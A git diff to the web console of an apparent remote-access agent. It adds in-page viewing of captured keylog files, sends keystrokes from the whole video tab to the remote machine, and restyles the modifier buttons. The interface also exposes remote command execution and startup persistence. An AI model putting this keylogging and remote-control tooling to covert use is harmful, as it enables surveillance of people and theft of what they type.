diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index 38bab7b..1b24512 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -10,6 +10,8 @@ const execMeta = document.getElementById("exec-meta"); const logMeta = document.getElementById("log-meta"); const logRows = document.getElementById("log-rows"); + const logView = document.getElementById("log-view"); + const logViewTitle = document.getElementById("log-view-title"); const startupState = document.getElementById("startup-state"); const startupAdd = document.getElementById("startup-add"); const startupRemove = document.getElementById("startup-remove"); @@ -20,6 +22,8 @@ let objectUrls = []; let videoRunning = false; + let videoTabActive = false; + let selectedLogName = ""; let lastMonitor = { left: 0, top: 0, width: 0, height: 0 }; function showError(message) { @@ -338,6 +342,41 @@ const modState = { ctrl: false, alt: false, shift: false, win: false }; + function setModButton(name, active) { + const button = document.querySelector(`.mod-btn[data-mod="${name}"]`); + if (!button) return; + button.classList.toggle("active", active); + button.setAttribute("aria-pressed", active ? "true" : "false"); + } + + function isTypingTarget(el) { + if (!el || el === document.body) return false; + const tag = el.tagName; + if (tag === "INPUT" || tag === "TEXTAREA" || tag === "SELECT") return true; + if (el.isContentEditable) return true; + return false; + } + + function setVideoTabActive(active) { + if (videoTabActive === active) return; + videoTabActive = active; + document.removeEventListener("keydown", onVideoKeydown, true); + if (active) { + document.addEventListener("keydown", onVideoKeydown, true); + } + } + + function onVideoKeydown(event) { + if (!videoTabActive) return; + if (isTypingTarget(event.target)) return; + if (MODIFIER_CODES.has(event.code)) return; + const key = keyFromEvent(event); + if (!key) return; + event.preventDefault(); + event.stopPropagation(); + sendRemoteKey(key, "tap", transientModifiers(event)).catch((err) => showError(err.message)); + } + function keyFromEvent(event) { if (CODE_KEYS[event.code]) return CODE_KEYS[event.code]; if (event.key && event.key.length === 1 && /[a-zA-Z0-9]/.test(event.key)) { @@ -368,35 +407,75 @@ for (const [name, active] of Object.entries(modState)) { if (!active) continue; modState[name] = false; - document.querySelector(`.mod-btn[data-mod="${name}"]`)?.classList.remove("active"); + setModButton(name, false); jobs.push(sendRemoteKey(name, "up")); } await Promise.all(jobs); } + function downloadLog(name) { + const link = document.createElement("a"); + link.href = `/api/v1/keylog/download?file=${encodeURIComponent(name)}`; + link.download = name; + document.body.append(link); + link.click(); + link.remove(); + } + + async function openLog(name, row) { + selectedLogName = name; + document.querySelectorAll("tr.log-row.selected").forEach((item) => item.classList.remove("selected")); + row?.classList.add("selected"); + logViewTitle.textContent = name; + logView.hidden = false; + logView.textContent = "Loading…"; + try { + const res = await api(`/api/v1/keylog/download?file=${encodeURIComponent(name)}`); + logView.textContent = await res.text(); + } catch (err) { + logView.textContent = ""; + logView.hidden = true; + logViewTitle.textContent = ""; + showError(err.message); + } + } + async function listKeylogs() { const res = await api("/api/v1/keylog"); const data = await res.json(); const files = data.files || []; - logMeta.textContent = `${files.length} files · ${data.directory || ""}`; + logMeta.textContent = `${files.length} files · ${data.directory || ""} · click to view, right-click to save`; logRows.replaceChildren(); for (const file of files) { const tr = document.createElement("tr"); + tr.className = "log-row"; + if (file.name === selectedLogName) tr.classList.add("selected"); const name = document.createElement("td"); + name.className = "log-name"; name.textContent = file.name; + name.addEventListener("click", () => { + openLog(file.name, tr).catch((err) => showError(err.message)); + }); + tr.addEventListener("contextmenu", (event) => { + event.preventDefault(); + downloadLog(file.name); + }); const size = document.createElement("td"); size.textContent = formatBytes(file.size || 0); const modified = document.createElement("td"); modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : ""; - const action = document.createElement("td"); - const link = document.createElement("a"); - link.href = `/api/v1/keylog/download?file=${encodeURIComponent(file.name)}`; - link.download = file.name; - link.textContent = "Download"; - action.append(link); - tr.append(name, size, modified, action); + tr.append(name, size, modified); logRows.append(tr); } + if (selectedLogName && !files.some((file) => file.name === selectedLogName)) { + selectedLogName = ""; + logView.hidden = true; + logView.textContent = ""; + logViewTitle.textContent = ""; + } else if (selectedLogName) { + const row = logRows.querySelector("tr.log-row.selected"); + openLog(selectedLogName, row).catch((err) => showError(err.message)); + } } async function runCommand() { @@ -420,7 +499,9 @@ document.querySelectorAll(".panel").forEach((panel) => panel.classList.remove("active")); button.classList.add("active"); document.getElementById(button.dataset.tab).classList.add("active"); - if (button.dataset.tab !== "video") { + const onVideo = button.dataset.tab === "video"; + setVideoTabActive(onVideo); + if (!onVideo) { stopVideo(); } if (button.dataset.tab === "logs") { @@ -473,23 +554,15 @@ event.preventDefault(); sendClick(event, "right").catch((err) => showError(err.message)); }); - const videoKeys = document.getElementById("video-keys"); - videoKeys.addEventListener("keydown", (event) => { - if (MODIFIER_CODES.has(event.code)) return; - const key = keyFromEvent(event); - if (!key) return; - event.preventDefault(); - sendRemoteKey(key, "tap", transientModifiers(event)).catch((err) => showError(err.message)); - }); document.querySelectorAll(".mod-btn").forEach((button) => { button.addEventListener("click", () => { const name = button.dataset.mod; if (!name) return; modState[name] = !modState[name]; - button.classList.toggle("active", modState[name]); + setModButton(name, modState[name]); sendRemoteKey(name, modState[name] ? "down" : "up").catch((err) => { modState[name] = !modState[name]; - button.classList.toggle("active", modState[name]); + setModButton(name, modState[name]); showError(err.message); }); }); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index c10d178..5927c1e 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -130,24 +130,60 @@ padding: 0.65rem 1.25rem; color: var(--danger); } - nav button.mod-btn.active { - background: var(--accent); - border-color: var(--accent); - color: #fff; + .mod-btn { + position: relative; + min-width: 3.75rem; + font-weight: 600; + letter-spacing: 0.02em; + background: #f3f4f6; + border-color: #d1d5db; + color: var(--muted); + transition: background 0.12s, border-color 0.12s, color 0.12s, box-shadow 0.12s; } - #video-keys { + .mod-btn::before { + content: ""; + display: inline-block; + width: 0.45rem; + height: 0.45rem; + margin-right: 0.35rem; + border-radius: 50%; + background: #9ca3af; + vertical-align: 0.05em; + transition: background 0.12s, box-shadow 0.12s; + } + .mod-btn.active { + background: #dbeafe; + border-color: var(--accent); + color: #1e40af; + box-shadow: inset 0 1px 2px rgba(37, 99, 235, 0.12); + } + .mod-btn.active::before { + background: var(--accent); + box-shadow: 0 0 0 2px rgba(37, 99, 235, 0.25); + } + #video-key-hint { flex: 1; min-width: 12rem; padding: 0.55rem 0.75rem; - border: 1px dashed var(--line); + border: 1px solid var(--line); border-radius: 6px; - background: #fff; - cursor: text; - outline: none; + background: #f9fafb; + color: var(--muted); + font-size: 0.9rem; } - #video-keys:focus { - border-color: var(--accent); - box-shadow: 0 0 0 2px rgba(37, 99, 235, 0.15); + td.log-name { + cursor: pointer; + color: var(--accent); + } + tr.log-row.selected td { background: #eff6ff; } + #log-view { + margin-top: 0.75rem; + max-height: 28rem; + } + #log-view-title { + margin: 0 0 0.35rem; + font-size: 0.9rem; + color: var(--muted); } @@ -226,14 +262,14 @@

-
Click here, then type on your keyboard
+
Keyboard sends to remote while this tab is active
- - - - - Toggle modifiers, then type in the box above + + + + + Toggle sticky modifiers · type anywhere on this tab
@@ -257,10 +293,12 @@

- +
FileSizeModified
FileSizeModified
+

+